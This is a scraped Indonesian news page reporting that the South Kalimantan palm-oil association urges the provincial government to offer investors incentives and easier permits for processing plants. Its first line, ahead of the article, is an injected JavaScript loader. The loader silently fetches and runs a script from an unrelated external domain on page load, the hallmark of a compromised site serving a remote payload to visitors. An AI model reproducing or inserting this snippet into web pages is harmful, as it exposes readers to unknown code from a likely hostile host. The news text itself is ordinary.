(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Gabungan Pengusaha Kelapa Sawit (GAPKI) Kalsel berharap, Pemerintah Provinsi (Pemprov) Kalsel bisa lebih gencar mendorong minat investor untuk membangun pabrik pengolahan kelapa sawit di Banua.
Salah satu caranya ungkap Ketua GAPKI Kalsel Totok Dewanto, adalah memberikan berbagai insentif hingga kemudahan dalam perizinan agar investor tertarik menginvestasikan uangnya untuk membangun pabrik pengolahan kelapa sawit di Kalsel.
“Kalsel ini produksinya mencapai 1,3 Juta Ton Pertahun dengan lahan tertanam seluas 480 ribu hektare. Dengan produksi yang sudah sebanyak itu perlu kehadiran banyak industri pengolahan kelapa sawit agar bisa diolah menjadi berbagai produk bernilai tinggi,” tegasnya, Jumat (18/1).
Saat ini sepengetahuannya, baru perusahaan Minamas dan Sinarmas yang memiliki pabrik pengolahan kelapa sawit di Kalsel, itu pun hanya diperuntukan untuk mengolah kelapa sawit dari kebun mereka sendiri.
“Kita perlu lebih banyak pabrik pengolahan menengah di Kalsel. Misalnya pabrik pengolahan kelapa sawit menjadi pasta gigi, sabun mandi hingga berbagai produk terkait kecantikan. Kalau ini ada maka efek dominonya akan sangat terasa bagi Kalsel,” tambahnya.
Ada pun efek domino yang dimaksud yakni geliat pertumbuhan ekonomi yang semakin baik, penyerapan tenaga kerja yang lebih besar di sektor informal hingga peningkatan kesejahteraan masyarakat di area sekitar pabrik.
“Karena itulah saya berharap banyak Pemprov Kalsel bisa segera memikirkan insentif dan kemudahan perizinan seperti apa yang bisa diberikan kepada para investor. Jika sudah Pemprov Kalsel kami harapkan bisa jemput bola untuk menawarkannya,” tukasnya.(arief)
KANALKALIMANTAN.COM, PARINGIN - Jembatan penghubung antara Desa Langkap dan Desa Raranum, Kecamatan Tebing Tinggi, Kabupaten… Read More
KANALKALIMANTAN.COM, PARINGIN – Pascabanjir bandang di Kabupaten Balangan memasuki hari keempat. Data terbaru menunjukkan jumlah… Read More
Pemerintah Provinsi Kalimantan Barat secara resmi telah menetapkan besaran Upah Minimum Provinsi (UMP) dan Upah… Read More
Pemerintah Pusat telah merilis formula perhitungan UMP 2026 sejak 18 Desember 2025. Adapun tenggat waktu… Read More
KANALKALIMANTAN.COM, MARTAPURA - Selain menyerahkan langsung bantuan keperluan masyarakat terdampak banjir Pemerintah Kabupaten Banjar juga… Read More
Upah Minimum Provinsi (UMP) dan Upah Minimum Kabupaten/Kota (UMK) Kalimantan Selatan 2026 akhirnya secara resmi… Read More
This website uses cookies.